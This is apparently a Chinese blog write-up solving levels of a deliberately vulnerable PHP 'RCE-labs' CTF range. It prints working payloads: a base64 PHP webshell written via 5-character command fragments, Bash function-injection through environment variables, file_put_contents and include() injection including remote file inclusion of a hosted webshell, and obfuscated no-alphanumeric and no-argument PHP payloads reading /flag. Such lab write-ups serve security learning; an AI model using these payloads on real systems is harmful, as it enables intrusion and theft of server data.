打靶日记-RCE-labs(续)

前言

在第15关尝试写入一句话木马并没有成功,但是在kal测试成功,后续的第18到27关在【NSSCTF平台】

5字符rce

最近一直在看相关文章,记录一下相关知识。

在linux中,如果命令过长可以用续航符(\),来将一行命令变为多行来写

​sh​ 是 Linux/Unix 系统中的 Bourne Shell,是一种命令解释器(Shell),用于执行用户输入的命令或脚本文件

输入通配符 * ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数

*使第一个列出的文件名(ls)当作命令,剩下的文件名当作参数,而*后面的s有限制了只有含有s的字符串才能当做参数

通过rev来倒置输出内容(rev命令将文件中的每行内容以字符为单位反序输出)

​linux​中,dir​命令和ls效果基本一样,只有配合重定向符写入文件时有一些差别,ls​写入文件中时,每个文件名都是单独一行,它会自动换行,有时会影响到我们的命令执行,而dir​会把内容全部写入一行中,同时会自动补全空格

ls -t 会将文件以创建先后顺序排列,创建时间靠后的文件排在前面。ls -th同样的作用,这里同 -th是为了调整-t参数的位置

使用 -t

使用 -th

可以看到调整位置后就有完整的命令 ls -th >a。在结合rev倒置输出以及dir 知识

这里可以直接构造一句话木马,因为有<,?,需要将其进行base64转换,这样payload里就没有特殊字符了。

同时还有空格问题

echo PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7ID8+|base64 -d>1.php

这一条命令有两个问题,需要替换一个用 ${IFS}, 具体见

5位可控字符下的命令执行 - 灰信网(软件开发博客聚合)

所以命令为 echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7ID8+|base64 -d>1.php

分开传参数

>dir

>f\>

>ht-

>sl

*>v

>rev

*v>a

>hp

>p\\

>1.\\

>\>\\

>-d\\

>\ \\

>64\\

>se\\

>ba\\

>\|\\

>8+\\

>ID\\

>k7\\

>XS\\

>En\\

>Jz\\

>Rb\\

>U1\\

>BP\\

>X1\\

>gk\\

>bC\\

>Zh\\

>ZX\\

>Ag\\

>aH\\

>9w\\

>PD\\

>S}\\

>IF\\

>{\\

>\$\\

>o\\

>ch\\

>e\\

sh a

sh f

如图在执行完命令后已经生成1.php文件,但是在题目中尝试后发现不行,还有反弹shell我还不太懂😳😳等我沉淀沉淀再说。

【RCE-labs】Level 18

复制代码
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 环境变量注入 --- 

来源:P牛2022的文章【我是如何利用环境变量注入执行任意命令】https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html

*/
foreach($_REQUEST['envs'] as $key => $val) {
    putenv("{$key}={$val}");
}

system('echo hello');

highlight_file(__FILE__);

?>

通过看大佬文章总结

Bash 4.4以前:env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"

Bash 4.4及以上:env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello"

BASH_FUNC_echo%%: Bash 允许通过环境变量定义函数,格式为 BASH_FUNC_函数名%%=() { 命令; }。这里定义了一个名为 echo 的 Bash 函数,内容是执行 id 命令。

env: 用于设置环境变量并在新的环境中执行命令。

bash -c 'echo hello': 启动一个新的 Bash 实例,执行 echo hello。由于环境变量中定义了 echo 函数,Bash 会优先执行该函数(id),而不是内置的 echo 命令。

效果: 当执行 echo hello 时,实际运行的是 id 命令,输出当前用户的信息。

同理构造

env $'BASH_FUNC_echo%%=() { cat /flag; }' bash -c 'echo hello'

当执行 echo hello 时,会输出flag

就本题而言,payload

?envs[BASH_FUNC_echo%%]=()%20{%20cat%20/flag;%20}

【RCE-labs】Level 19

复制代码
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 文件写入导致的RCE --- 

https://www.php.net/manual/zh/function.file-put-contents.php

参考可以写入的内容:
<?php @eval($_POST['a']); ?>

*/

function helloctf($code){
    $code = "file_put_contents(".$code.");";
    eval($code);
}

isset($_GET['c']) ? helloctf($_GET['c']) : '';

highlight_file(__FILE__);

?>

文件写入这就比较简单了,主要是 file_put_contents函数

file_put_contents() 是 PHP 用于写入文件的函数,语法为:

复制代码
file_put_contents(文件名, 内容);

构造payload ?c='shell.php', '<?php @eval($_POST[a]); ?>'

hackber传参 a=system('cat /flag');

【RCE-labs】Level 20

最简单的文件上传没有啥过滤,上传一句话木马就行了,不再多说

【RCE-labs】Level 21

复制代码
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 文件包含导致的RCE --- 

allow_url_fopen = On
allow_url_include = On
默认全开的环境,可以尝试多种解法,若对此存有疑问,尝试去 github.com/ProbiusOfficial/PHPinclude-labs 了解更多文件包含的知识。

远程文件包含可用链接(<?php @eval($_POST['a']); ?>):
https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI
https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI

FilterChain的Payload生成器:
https://probiusofficial.github.io/PHP-FilterChain-Exploit/
/exp.php

注意:在本关卡中你传递的内容将以字符串的方式拼接在 include() 函数中,你需要区别这与 incluude($_GET['file']) 的区别。
*/

function helloctf($code){
    $code = "include(".$code.");";
    echo "Your includeCode : ".$code;
    eval($code);
}

isset($_POST['c']) ? helloctf($_POST['c']) : '';

highlight_file(__FILE__);

?>

这一题的方法有很多,都可以试试

1.直接包含

c='/flag'

include()函数会将目标文件的内容作为 PHP 代码解析并执行。当目标文件是纯文本(如/flag)时,其内容会被直接输出

2.php伪协议

c='php://filter/read=convert.base64-encode/resource=/flag'

3.拼接命令

c='1.php');system('cat /flag'

4.远程文件包含

  • allow_url_fopen = On:允许通过 URL(如 http:// 或 https://)读取远程文件。
  • allow_url_include = On:允许通过 include() 执行远程 PHP 文件的代码。

题目正好给了一个网站

c="https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI"&a=readfile('/flag');

【RCE-labs】Level 22

复制代码
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : HP 特性 - 动态调用 --- 

PHP 支持在运行时动态构建并且调用函数,在下面的代码中 a可以被作为函数,b可以被作为函数的参数。

try ?a=system&b=ls

*/

isset($_GET['a'])&&isset($_GET['b']) ? $_GET['a']($_GET['b']) : null;

highlight_file(__FILE__);

?>

根据题目提示,a为函数名,b为参数

?a=system&b=cat /flag

【RCE-labs】Level 23

复制代码
<?php 
error_reporting(0);
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : PHP 特性 - 自增 --- 

可用字符:! $ ' ( ) + , . / ; = [ ] _

自增通过一下几个特性实现:
变量:
在PHP中变量以 $ 开头,后面为变量名称,PHP中变量可以是下划线 _ 开头,所以 $_ 是一个变量,$__ 则是不同的变量,就像 $a 和 $aa 一样。

数组->字符串:
在PHP中,非字符串是不能使用 . 符号进行拼接的,当你强制拼接时 PHP 会将非字符串转换为字符串:
$_ = 1; var_dump($_); var_dump($_.'');
这将会输出:int(1) string(1) "1"
但如果 $_ 是一个数组,则会被强制转换为字符串 Array 而无视数组内容。
所以 [].'' 表示在空数组后面拼接空字符串,PHP会优先转换类型,从而将数组转换为字符串 Array。

字符串:
字符串本质上是一个字符的有序序列,同C语言类似,你可以直接通过索引(或者说下标)的方式直接访问字符串中的字符。
$_ = "Hello-CTF";var_dump($_[0]);
这将会输出 string(1) "H"
所以在 $_ = ([].'')[0]; var_dump($_); 你会得到输出:string(1) "A"

自增:
这是一个编程语言中很常见的操作,我们一般在for循环会写到的语句 i++ 或者 ++i,这是一个自增操作,PHP也一样,只不过我们的变量名称不是很常见与之等效的 $_++ 或者 ++$_。
当我们对一个字符或者是字母进行自增操作时,PHP会将其转换为ASCII码,然后自增,然后再转换为字符。直观一点 A++ 将会输出 B,Z++ 将会输出 AA。++的位置决定语句的执行顺序,++在前面时会先进行自增操作。 $_ = ([].'')[0]; 在前面时输出B,后面时输出A。

所以通过特性的连用,你可以看到很多自增的Payload长这样:
payload=$_=(_/_._)[''=='_'];$_++;$__ = $_++;$__ = $_.$__;$_++;$_++;$_++;$__ = $__.$_++.$_++;$_ = $__;$__ ='_';$__.=$_;$$__[__]($$__[_]); 
&__=system 
&_=ls

自增题目的考点通常在Payload的长度限制,挑战关卡,让你的Payload足够短吧。
*/

highlight_file(__FILE__);

isset($_POST['code']) ? $code = $_POST['code'] : $code = null;

if(preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/", $code)){
    die("WAF!");
}else{
    echo "Your Payload's Length : ".strlen($code)."<br>";
    eval($code);
}

?>

感谢题目大大给的payload,使用时要把payload进行url编码

code=%24_%3D%28_/.%29%5B%27%27%3D%3D%27_%27%5D%3B%24_%2B%2B%3B%24__%20%3D%20%24_%2B%2B%3B%24__%20%3D%20%24_.%24__%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%20%3D%20%24__.%24_%2B%2B.%24_%2B%2B%3B%24_%20%3D%20%24__%3B%24__%20%3D%27_%27%3B%24__.%3D%24_%3B%24%24__%5B__%5D%28%24%24__%5B_%5D%29%3B

&__=system

&_= cat /flag

【RCE-labs】Level 24

相关知识见

RCE篇之无参数rce - 学安全的小白 - 博客园

https://a1andns.github.io/post/%E6%97%A0%E5%8F%82%E6%95%B0%E5%87%BD%E6%95%B0RCE

两位大佬讲的都非常详细

复制代码
<?php 
include ("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : PHP 特性 - 无参命令执行 --- 

根据正则表达式的匹配规则,可以看到我们只能输入A(),这样的形式,括号中无法携带参数,但支持多个函数嵌套A(B(C())),这种形式我们称其为无参命令执行。
无参命令执行的难度首先是在于无参本身,这需要你利用一些函数特性外带参数绕过限制 ------ 这可以从一些获取外部值的函数实现:
getallheaders()
session_id()
...
其次是对嵌套参数的处理 ------ 当然不局限于外带进来的参数,一些诸如 localeconv() 的函数可以获取内部存在的一些参数如当前目录下面的文件信息等:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

通常我们获取到的很多情况下是数组,所以有时候比较依赖对数组的操作,比如:
- array_reverse():数组反转
- pos():输出数组第一个元素
- next():指向数组的下一个元素,并输出
...

随后是一些文件读取显示的操作:
- show_source() - 对文件进行语法高亮显示。
- readfile() - 输出一个文件。
- highlight_file() - 对文件进行语法高亮显示。
- file_get_contents() - 把整个文件读入一个字符串中。
- readgzfile() - 可用于读取非 gzip 格式的文件

...你随时可以通过查阅PHP官方手册中函数相关的部分来找到上面类似的内容。
*/

function hello_code($code){
    if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $code)){
        eval($code);
    }else{
        die("O.o");
    }
    
}

isset($_GET['code']) ? hello_code($_GET['code']) : null;

highlight_file(__FILE__);

?>

这里构造payload

?code=show_source(array_rand(array_flip(scandir(current(localeconv())))));

在bp上重复传参,直到出现flag就行了

【RCE-labs】Level 25

利用题目给的工具即可

【RCE-labs】Level 26

复制代码
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : PHP 特性 - 无字母数字的代码执行 --- 

参考和依据的文章:https://xz.aliyun.com/t/8107

*/

highlight_file(__FILE__);

isset($_POST['code']) ? $code = $_POST['code'] : $code = null;

if(preg_match("/[a-z0-9]/is", $code)){
    die("WAF!");
}else{
    echo "Your Payload's Length : ".strlen($code)."<br>";
    eval($code);
}

?>

这里官方给了很多方法,但是我尝试取反和异或为啥会报错类我服了,这里还是用自增绕过

【RCE-labs】Level 27

我还不怎么会模板注入这个先放放

相关推荐
Up九五小庞23 分钟前
jenkins从入门到精通-P1—九五小庞
运维·jenkins
ALLSectorSorft32 分钟前
相亲小程序用户注册与登录系统模块搭建
java·大数据·服务器·数据库·python
乐维_lwops38 分钟前
运维端口管理闭环:从暴露面测绘到自动化封禁!
运维·自动化·php
Cyber4K1 小时前
MySQL--组从复制的详解及功能演练
运维·数据库·mysql·云原生
程序员JerrySUN2 小时前
OpenCV 全解读:核心、源码结构与图像/视频渲染能力深度对比
linux·人工智能·驱动开发·opencv·计算机视觉·缓存·音视频
hzsnone2 小时前
公网服务器上Nginx或者Openresty如何屏蔽IP直接扫描
服务器·nginx·openresty
Ray Song2 小时前
Linux iptables防火墙操作
linux·网络·iptables·防火墙
光军oi3 小时前
Javaweb————Apache Tomcat服务器介绍及Windows,Linux,MAC三种系统搭建Apache Tomcat
服务器·tomcat·apache
is08153 小时前
linux 启动流程?
linux